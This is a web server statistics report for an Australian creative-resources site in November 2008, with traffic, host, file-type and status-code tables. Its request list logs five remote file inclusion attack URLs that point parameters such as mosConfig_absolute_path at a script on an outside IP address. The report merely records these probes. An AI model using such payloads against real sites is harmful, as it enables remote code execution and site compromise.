Web Server Statistics for [Australian Creative Resources Online]

Program started at Mon-24-Nov-2008 07:45.
Analysed requests from Wed-12-Nov-2008 16:01 to Mon-24-Nov-2008 07:45 (11.66 days).

General Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report contains overall statistics.

(Figures in parentheses refer to the 7-day period ending 24-Nov-2008 07:45).
Successful requests: 2,127 (1,125)
Average successful requests per day: 182 (160)
Successful requests for pages: 1,276 (699)
Average successful requests for pages per day: 109 (99)
Failed requests: 981 (614)
Redirected requests: 2,997 (1,655)
Distinct files requested: 287 (237)
Distinct hosts served: 481 (292)
Data transferred: 91.19 megabytes (42.97 megabytes)
Average data transferred per day: 7.82 megabytes (6.14 megabytes)


Monthly Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the activity in each month.

Each unit (+) represents 40 requests for pages or part thereof.

   month: pages: reqs: Mbytes: 
--------: -----: ----: ------: 
Nov 2008:  1276: 2127:  91.19: ++++++++++++++++++++++++++++++++
Busiest month: Nov 2008 (1,276 requests for pages).

Weekly Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the activity in each week.

Each unit (+) represents 25 requests for pages or part thereof.

week beg.: pages: reqs: Mbytes: 
---------: -----: ----: ------: 
 9/Nov/08:   418:  766:  31.45: +++++++++++++++++
16/Nov/08:   720: 1110:  51.70: +++++++++++++++++++++++++++++
23/Nov/08:   138:  251:   8.04: ++++++
Busiest week: week beginning 16/Nov/08 (720 requests for pages).

Daily Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the total activity for each day of the week, summed over all the weeks in the report.

Each unit (+) represents 8 requests for pages or part thereof.

day: pages: reqs: Mbytes: 
---: -----: ----: ------: 
Sun:   263:  398:  22.32: +++++++++++++++++++++++++++++++++
Mon:    93:  201:   7.04: ++++++++++++
Tue:    93:  145:   7.08: ++++++++++++
Wed:   168:  230:   8.57: +++++++++++++++++++++
Thu:   198:  456:  16.70: +++++++++++++++++++++++++
Fri:   172:  295:  12.29: ++++++++++++++++++++++
Sat:   289:  402:  17.19: +++++++++++++++++++++++++++++++++++++

Hourly Summary

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the total activity for each hour of the day, summed over all the days in the report.

Each unit (+) represents 4 requests for pages or part thereof.

hour: pages: reqs: Mbytes: 
----: -----: ----: ------: 
   0:    42:   62:   1.59: +++++++++++
   1:    45:   94:   2.13: ++++++++++++
   2:    40:   65:   1.65: ++++++++++
   3:    54:   73:   1.99: ++++++++++++++
   4:    64:   96:   4.54: ++++++++++++++++
   5:    32:   43:   1.06: ++++++++
   6:   115:  137:   2.80: +++++++++++++++++++++++++++++
   7:    70:   96:   3.21: ++++++++++++++++++
   8:    37:   72:   7.59: ++++++++++
   9:    35:   49:   8.18: +++++++++
  10:    26:   45:   2.82: +++++++
  11:    33:   46:   0.91: +++++++++
  12:    32:   79:   2.19: ++++++++
  13:    38:   58:   3.32: ++++++++++
  14:    44:   79:   2.79: +++++++++++
  15:    75:  174:   4.76: +++++++++++++++++++
  16:    58:   82:   3.12: +++++++++++++++
  17:    57:   96:   6.06: +++++++++++++++
  18:    70:   93:   4.28: ++++++++++++++++++
  19:    96:  223:  12.16: ++++++++++++++++++++++++
  20:    59:  101:   2.81: +++++++++++++++
  21:    44:   73:   2.10: +++++++++++
  22:    47:  108:   5.44: ++++++++++++
  23:    63:   83:   3.69: ++++++++++++++++

Quarter-Hour Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the activity in each quarter-hour period.

Each unit (+) represents 1 request for a page.

     date        time: pages: reqs: Mbytes: 
---------------------: -----: ----: ------: 
23/Nov/08 08:00-08:15:     0:    0:   0.00: 
23/Nov/08 08:15-08:30:     0:    0:   0.00: 
23/Nov/08 08:30-08:45:     0:    0:   0.00: 
23/Nov/08 08:45-09:00:     2:    2:   0.29: ++
23/Nov/08 09:00-09:15:     4:    6:   0.32: ++++
23/Nov/08 09:15-09:30:     0:    0:   0.00: 
23/Nov/08 09:30-09:45:     0:    0:   0.00: 
23/Nov/08 09:45-10:00:     1:    1:   0.00: +
23/Nov/08 10:00-10:15:     1:    1:   0.01: +
23/Nov/08 10:15-10:30:     0:    1:   0.10: 
23/Nov/08 10:30-10:45:     0:    0:   0.00: 
23/Nov/08 10:45-11:00:     1:    1:   0.00: +
23/Nov/08 11:00-11:15:     5:    5:   0.32: +++++
23/Nov/08 11:15-11:30:     5:    5:   0.11: +++++
23/Nov/08 11:30-11:45:     0:    0:   0.00: 
23/Nov/08 11:45-12:00:     0:    0:   0.00: 

23/Nov/08 12:00-12:15:     1:    1:   0.01: +
23/Nov/08 12:15-12:30:     0:    0:   0.00: 
23/Nov/08 12:30-12:45:     0:    0:   0.00: 
23/Nov/08 12:45-13:00:     1:    1:   0.01: +
23/Nov/08 13:00-13:15:     2:    2:   0.09: ++
23/Nov/08 13:15-13:30:     0:    0:   0.00: 
23/Nov/08 13:30-13:45:     1:    1:   0.01: +
23/Nov/08 13:45-14:00:     0:    0:   0.00: 
23/Nov/08 14:00-14:15:     1:    2:   0.02: +
23/Nov/08 14:15-14:30:     1:    1:   0.01: +
23/Nov/08 14:30-14:45:     0:    1:   0.25: 
23/Nov/08 14:45-15:00:     2:    2:   0.01: ++
23/Nov/08 15:00-15:15:     1:    2:   0.08: +
23/Nov/08 15:15-15:30:     1:    1:   0.01: +
23/Nov/08 15:30-15:45:     0:    0:   0.00: 
23/Nov/08 15:45-16:00:    16:   66:   1.11: ++++++++++++++++

23/Nov/08 16:00-16:15:     2:    2:   0.02: ++
23/Nov/08 16:15-16:30:     2:    2:   0.02: ++
23/Nov/08 16:30-16:45:     1:    3:   0.08: +
23/Nov/08 16:45-17:00:     3:    3:   0.02: +++
23/Nov/08 17:00-17:15:     0:    0:   0.00: 
23/Nov/08 17:15-17:30:     1:    1:   0.01: +
23/Nov/08 17:30-17:45:     0:    0:   0.00: 
23/Nov/08 17:45-18:00:     1:    2:   0.03: +
23/Nov/08 18:00-18:15:     0:    3:   0.08: 
23/Nov/08 18:15-18:30:     1:    2:   0.11: +
23/Nov/08 18:30-18:45:     0:    0:   0.00: 
23/Nov/08 18:45-19:00:     2:    3:   0.02: ++
23/Nov/08 19:00-19:15:     1:    1:   0.02: +
23/Nov/08 19:15-19:30:     2:    3:   0.07: ++
23/Nov/08 19:30-19:45:     0:    0:   0.00: 
23/Nov/08 19:45-20:00:     2:    2:   0.01: ++

23/Nov/08 20:00-20:15:     0:    0:   0.00: 
23/Nov/08 20:15-20:30:     2:    3:   0.06: ++
23/Nov/08 20:30-20:45:     1:    1:   0.01: +
23/Nov/08 20:45-21:00:     0:    0:   0.00: 
23/Nov/08 21:00-21:15:     2:    2:   0.01: ++
23/Nov/08 21:15-21:30:     1:    6:   0.75: +
23/Nov/08 21:30-21:45:     1:    1:   0.01: +
23/Nov/08 21:45-22:00:     1:    1:   0.01: +
23/Nov/08 22:00-22:15:     2:    2:   0.01: ++
23/Nov/08 22:15-22:30:     1:    1:   0.00: +
23/Nov/08 22:30-22:45:     0:    0:   0.00: 
23/Nov/08 22:45-23:00:     1:    1:   0.01: +
23/Nov/08 23:00-23:15:     1:    3:   0.72: +
23/Nov/08 23:15-23:30:     2:    2:   0.01: ++
23/Nov/08 23:30-23:45:     1:    1:   0.01: +
23/Nov/08 23:45-24:00:     3:    3:   0.02: +++

24/Nov/08 00:00-00:15:     0:    0:   0.00: 
24/Nov/08 00:15-00:30:     2:    2:   0.01: ++
24/Nov/08 00:30-00:45:     0:    1:   0.00: 
24/Nov/08 00:45-01:00:     0:    0:   0.00: 
24/Nov/08 01:00-01:15:     0:    1:   0.03: 
24/Nov/08 01:15-01:30:     1:    2:   0.08: +
24/Nov/08 01:30-01:45:     0:    0:   0.00: 
24/Nov/08 01:45-02:00:     2:    9:   0.80: ++
24/Nov/08 02:00-02:15:     0:    0:   0.00: 
24/Nov/08 02:15-02:30:     1:    1:   0.01: +
24/Nov/08 02:30-02:45:     1:    1:   0.01: +
24/Nov/08 02:45-03:00:     0:    0:   0.00: 
24/Nov/08 03:00-03:15:     1:    1:   0.00: +
24/Nov/08 03:15-03:30:     0:    0:   0.00: 
24/Nov/08 03:30-03:45:     1:    1:   0.00: +
24/Nov/08 03:45-04:00:     0:    0:   0.00: 

24/Nov/08 04:00-04:15:     0:    0:   0.00: 
24/Nov/08 04:15-04:30:     0:    0:   0.00: 
24/Nov/08 04:30-04:45:     1:    1:   0.01: +
24/Nov/08 04:45-05:00:     0:    0:   0.00: 
24/Nov/08 05:00-05:15:     0:    0:   0.00: 
24/Nov/08 05:15-05:30:     0:    0:   0.00: 
24/Nov/08 05:30-05:45:     0:    0:   0.00: 
24/Nov/08 05:45-06:00:     0:    0:   0.00: 
24/Nov/08 06:00-06:15:     1:    2:   0.11: +
24/Nov/08 06:15-06:30:     1:    2:   0.00: +
24/Nov/08 06:30-06:45:     1:    4:   0.14: +
24/Nov/08 06:45-07:00:     0:    0:   0.00: 
24/Nov/08 07:00-07:15:     1:    2:   0.03: +
24/Nov/08 07:15-07:30:     0:    0:   0.00: 
24/Nov/08 07:30-07:45:     2:    9:   0.36: ++
24/Nov/08 07:45-08:00:     0:    1:   0.09: 
Busiest quarter of an hour: 16/Nov/08 06:15-06:30 (50 requests for pages).

Domain Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.

pages: %pages: reqs:  %reqs: Mbytes: %bytes: domain
-----: ------: ----: ------: ------: ------: ------
  208: 16.30%:  410: 19.28%:  31.86: 34.94%: .com (Commercial)
  693: 54.31%:  922: 43.35%:  31.03: 34.02%: .net (Networks)
  255: 19.98%:  414: 19.46%:  12.91: 14.16%: [unresolved numerical addresses]
   59:  4.62%:  235: 11.05%:   8.59:  9.42%: .au (Australia)
    6:  0.47%:    9:  0.42%:   1.14:  1.25%: .br (Brazil)
    5:  0.39%:   13:  0.61%:   0.82:  0.90%: .hr (Croatia)
    2:  0.16%:    9:  0.42%:   0.80:  0.88%: .it (Italy)
    2:  0.16%:    7:  0.33%:   0.76:  0.84%: .sg (Singapore)
   16:  1.25%:   23:  1.08%:   0.64:  0.71%: .uk (United Kingdom)
    4:  0.31%:   19:  0.89%:   0.38:  0.41%: .ca (Canada)
    0:       :    5:  0.24%:   0.33:  0.36%: .de (Germany)
    0:       :    1:  0.05%:   0.25:  0.27%: .bg (Bulgaria)
    1:  0.08%:    2:  0.09%:   0.21:  0.23%: .hu (Hungary)
    0:       :    3:  0.14%:   0.21:  0.23%: .in (India)
    1:  0.08%:    5:  0.24%:   0.14:  0.15%: .edu (USA Higher Education)
    0:       :    3:  0.14%:   0.14:  0.15%: .ie (Ireland)
    2:  0.16%:    6:  0.28%:   0.14:  0.15%: .tw (Taiwan)
    1:  0.08%:    8:  0.38%:   0.13:  0.14%: .jp (Japan)
    0:       :    2:  0.09%:   0.10:  0.11%: .mx (Mexico)
    1:  0.08%:    4:  0.19%:   0.09:  0.10%: .cn (China)
    0:       :    2:  0.09%:   0.08:  0.09%: .ke (Kenya)
    0:       :    1:  0.05%:   0.07:  0.08%: .my (Malaysia)
    0:       :    1:  0.05%:   0.05:  0.06%: .do (Dominican Republic)
    0:       :    1:  0.05%:   0.05:  0.06%: .ph (Philippines)
    0:       :    1:  0.05%:   0.05:  0.06%: .co (Colombia)
    5:  0.39%:    5:  0.24%:   0.04:  0.04%: .ru (Russia)
    0:       :    1:  0.05%:   0.04:  0.04%: .pl (Poland)
    3:  0.24%:    3:  0.14%:   0.03:  0.03%: .nl (Netherlands)
    3:  0.24%:    3:  0.14%:   0.02:  0.03%: .info (Informational)
    3:  0.24%:    3:  0.14%:   0.02:  0.02%: .gr (Greece)
    2:  0.16%:    2:  0.09%:   0.02:  0.02%: .org (Non Profit Making Organisations)
    2:  0.16%:    2:  0.09%:   0.02:  0.02%: .za (South Africa)
    1:  0.08%:    1:  0.05%:   0.01:  0.01%: .hk (Hong Kong)
    1:  0.08%:    1:  0.05%:   0.01:  0.01%: .biz (Businesses)

Organisation Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the organisations of the computers which requested files.

Listing the top 20 organisations by the number of requests, sorted by the number of requests.

pages: %pages: reqs:  %reqs: Mbytes: %bytes: organisation
-----: ------: ----: ------: ------: ------: ------------
  616: 48.28%:  719: 33.80%:  25.51: 27.98%: yahoo.net
   57:  4.47%:  141:  6.63%:   7.21:  7.91%: googlebot.com
   21:  1.65%:  121:  5.69%:   1.31:  1.44%: uq.edu.au
   42:  3.29%:   86:  4.04%:   1.29:  1.42%: 65.55
   67:  5.25%:   80:  3.76%:  18.79: 20.61%: msn.com
   18:  1.41%:   74:  3.48%:   1.88:  2.07%: on.net
   26:  2.04%:   50:  2.35%:   0.19:  0.21%: searchme.com
   48:  3.76%:   48:  2.26%:   1.18:  1.30%: 66.90
   12:  0.94%:   41:  1.93%:   2.10:  2.31%: bigpond.net.au
   12:  0.94%:   36:  1.69%:   0.35:  0.38%: kalooga.com
    7:  0.55%:   31:  1.46%:   0.32:  0.35%: hinet.net
   21:  1.65%:   21:  0.99%:   0.16:  0.18%: 208.80
    5:  0.39%:   17:  0.80%:   1.53:  1.68%: optusnet.com.au
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 222.36
   16:  1.25%:   16:  0.75%:   0.00:       : exabot.com
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 205.151
    3:  0.24%:   16:  0.75%:   0.28:  0.30%: res.uvic.ca
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 200.220
    9:  0.71%:   15:  0.71%:   0.83:  0.91%: rr.com
    5:  0.39%:   13:  0.61%:   0.82:  0.90%: iskon.hr
  243: 19.04%:  554: 26.05%:  26.74: 29.32%: [not listed: 185 organisations]

Host Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the computers which requested files.

Listing hosts with at least 10 requests, sorted alphabetically.

pages: %pages: reqs:  %reqs: Mbytes: %bytes: host
-----: ------: ----: ------: ------: ------: ----
   21:  1.65%:   28:  1.32%:   0.08:  0.09%: 65.55.25.146
   18:  1.41%:   19:  0.89%:   0.00:       : 65.55.232.24
   48:  3.76%:   48:  2.26%:   1.18:  1.30%: 66.90.118.101
    2:  0.16%:   10:  0.47%:   0.83:  0.91%: 117.193.37.249
    2:  0.16%:   10:  0.47%:   0.45:  0.49%: 195.246.108.11
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 200.220.151.1
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 205.151.163.28
    0:       :   11:  0.52%:   0.31:  0.34%: 206.47.103.8
   16:  1.25%:   16:  0.75%:   0.23:  0.25%: 222.36.12.42
    4:  0.31%:   10:  0.47%:   0.78:  0.85%: c122-108-206-240.rochd4.qld.optusnet.com.au
   21:  1.65%:  121:  5.69%:   1.31:  1.44%:   dione.cc.uq.edu.au
    6:  0.47%:   12:  0.56%:   0.69:  0.76%: cpe-121-217-218-106.nsw.bigpond.net.au
    3:  0.24%:   10:  0.47%:   0.82:  0.90%: 124-171-221-220.dyn.iinet.net.au
    3:  0.24%:   16:  0.75%:   0.28:  0.30%: dh220228.res.uvic.ca
   15:  1.18%:   15:  0.71%:   0.00:       :    crawl1.exabot.com
   15:  1.18%:   44:  2.07%:   0.62:  0.68%: crawl-66-249-71-7.googlebot.com
   22:  1.72%:   45:  2.12%:   2.30:  2.52%: crawl-66-249-71-8.googlebot.com
   18:  1.41%:   44:  2.07%:   2.17:  2.38%: crawl-66-249-71-9.googlebot.com
   12:  0.94%:   36:  1.69%:   0.35:  0.38%:  crawler.kalooga.com
   17:  1.33%:   18:  0.85%:   0.00:       : msnbot-65-55-104-166.search.msn.com
   10:  0.78%:   11:  0.52%:   0.08:  0.09%: msnbot-65-55-104-22.search.msn.com
   16:  1.25%:   16:  0.75%:   0.51:  0.56%: msnbot-65-55-217-69.search.msn.com
   17:  1.33%:   17:  0.80%:   0.09:  0.10%: crawl2.nat.svl.searchme.com
    5:  0.39%:   13:  0.61%:   0.82:  0.90%:    52-2.dsl.iskon.hr
   15:  1.18%:   65:  3.06%:   1.10:  1.21%: ppp97-117.static.internode.on.net
   11:  0.86%:   11:  0.52%:   0.09:  0.09%: dj531046.crawl.yahoo.net
   11:  0.86%:   11:  0.52%:   0.09:  0.09%: dj531073.crawl.yahoo.net
  427: 33.46%:  446: 20.97%:  11.19: 12.27%: llf320033.crawl.yahoo.net
    3:  0.24%:   10:  0.47%:   0.34:  0.38%: llf531068.crawl.yahoo.net
    3:  0.24%:   10:  0.47%:   0.81:  0.89%: llf531113.crawl.yahoo.net
   22:  1.72%:   22:  1.03%:   0.63:  0.69%: llf531257.crawl.yahoo.net
    4:  0.31%:   16:  0.75%:   0.94:  1.03%: llf531394.crawl.yahoo.net
   12:  0.94%:   12:  0.56%:   0.09:  0.10%: general-ld-210.t-mobile.co.uk
  445: 34.87%:  922: 43.35%:  61.56: 67.51%: [not listed: 448 hosts]

Directory Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

pages: %pages: reqs:  %reqs: Mbytes: %bytes: directory
-----: ------: ----: ------: ------: ------: ---------
  881: 69.04%: 1584: 74.47%:  62.36: 68.39%: [root directory]
    0:       :   63:  2.96%:  18.77: 20.58%: /public/
   52:  4.08%:  137:  6.44%:   5.39:  5.91%: /reports/
  342: 26.80%:  342: 16.08%:   4.66:  5.12%: /manual/
    1:  0.08%:    1:  0.05%:   0.01:  0.01%: [not listed: 1 directory]

File Type Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the extensions of files.

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.

reqs:  %reqs: Mbytes: %bytes: extension
----: ------: ------: ------: ---------
 342: 16.08%:  38.85: 42.61%: .jpg  [JPEG graphics]
 251: 11.80%:  28.82: 31.61%: .pdf  [Adobe Portable Document Format]
 821: 38.60%:  12.73: 13.96%: .html [Hypertext Markup Language]
   1:  0.05%:   4.26:  4.67%: .mov  [Quick Time movie]
 134:  6.30%:   2.73:  3.00%: .png  [PNG graphics]
 388: 18.24%:   2.64:  2.90%: [directories]
 122:  5.74%:   0.60:  0.66%: .gif  [GIF graphics]
  67:  3.15%:   0.54:  0.60%: .htm  [Hypertext Markup Language]
   1:  0.05%:   0.00:       : [not listed: 1 extension]

File Size Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the sizes of files.

       size: reqs: %bytes: 
-----------: ----: ------: 
          0:  356:       : 
   1B-  10B:    0:       : 
  11B- 100B:   12:       : 
 101B-  1kB:   16:       : 
  1kB- 10kB:  898:  6.15%: 
 10kB-100kB:  735: 23.15%: 
100kB-  1MB:   98: 36.60%: 
  1MB- 10MB:   12: 34.10%: 

Status Code Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the HTTP status codes of all requests.

Listing status codes, sorted numerically.

reqs: status code
----: -----------
1748: 200 OK
  53: 206 Partial content
2997: 302 Document found elsewhere
 326: 304 Not modified since last retrieval
   2: 403 Access forbidden
 957: 404 Document not found
  11: 405 Method not allowed
  11: 501 Request type not supported

Request Report

(Go To: Top: General Summary: Monthly Report: Weekly Report: Daily Summary: Hourly Summary: Quarter-Hour Report: Domain Report: Organisation Report: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Failure Report: Referrer Report: Referring Site Report: Search Query Report: Search Word Report: Failed Referrer Report: Browser Summary: Browser Report: Operating System Report)

This report lists the files on the site.

Listing files, sorted by the number of requests.

reqs:  %reqs: Mbytes: %bytes:       last time: file
----: ------: ------: ------: ---------------: ----
 371: 17.44%:   2.55:  2.79%: 24/Nov/08 07:39: /
   1:  0.05%:   0.01:  0.01%: 14/Nov/08 23:47:   /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http://83.18.76.210/~test/c.in??/
   1:  0.05%:   0.01:  0.01%: 14/Nov/08 23:47:   /?sIncPath=http://83.18.76.210/~test/c.in??/
   1:  0.05%:   0.01:  0.01%: 14/Nov/08 23:47:   /?custompluginfile[]=http://83.18.76.210/~test/c.in??/
   1:  0.05%:   0.01:  0.01%: 14/Nov/08 23:46:   /?mosConfig_absolute_path=http://83.18.76.210/~test/c.in??/
   1:  0.05%:   0.01:  0.01%: 14/Nov/08 23:47:   /?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://83.18.76.210/~test/c.in??/
 124:  5.83%:   5.21:  5.71%: 24/Nov/08 06:34: /rooneysociotech.pdf
  69:  3.24%:   2.51:  2.75%: 24/Nov/08 07:39: /acro-logo.png
  45:  2.12%:   0.39:  0.43%: 24/Nov/08 07:39: /tn_hot buttered11.jpg
  45:  2.12%:  21.22: 23.27%: 24/Nov/08 07:45: /1001215.jpg
  45:  2.12%:   1.15:  1.26%: 24/Nov/08 07:39: /tn_june05032.jpg
  44:  2.07%:   0.41:  0.45%: 24/Nov/08 07:39: /tn_1001446.jpg
  43:  2.02%:   0.39:  0.43%: 24/Nov/08 07:40: /audio.html
  42:  1.97%:   0.30:  0.33%: 24/Nov/08 02:41: /acroabout.html
  39:  1.83%:   0.44:  0.48%: 24/Nov/08 06:23: /acrotools.html
  37:  1.74%:   0.33:  0.36%: 24/Nov/08 03:11: /stills.htm
  36:  1.69%:   3.03:  3.33%: 23/Nov/08 14:38: /rooneyphenom.pdf
  35:  1.65%:   2.12:  2.33%: 23/Nov/08 15:54: /reports/report.html
  31:  1.46%:   0.09:  0.10%: 23/Nov/08 23:15: /acrocommerce.html
  30:  1.41%:   0.37:  0.40%: 23/Nov/08 15:52: /acrolegal.html
  29:  1.36%:   0.19:  0.20%: 24/Nov/08 01:17: /acroparts.html
  29:  1.36%:   0.29:  0.32%: 22/Nov/08 23:18: /acrostaff.html
  29:  1.36%:   0.10:  0.11%: 23/Nov/08 10:48: /acrohowto.html
  28:  1.32%:   0.09:  0.09%: 23/Nov/08 15:53: /acronews.html
  28:  1.32%:   0.09:  0.10%: 23/Nov/08 23:02: /acrocontriute.html
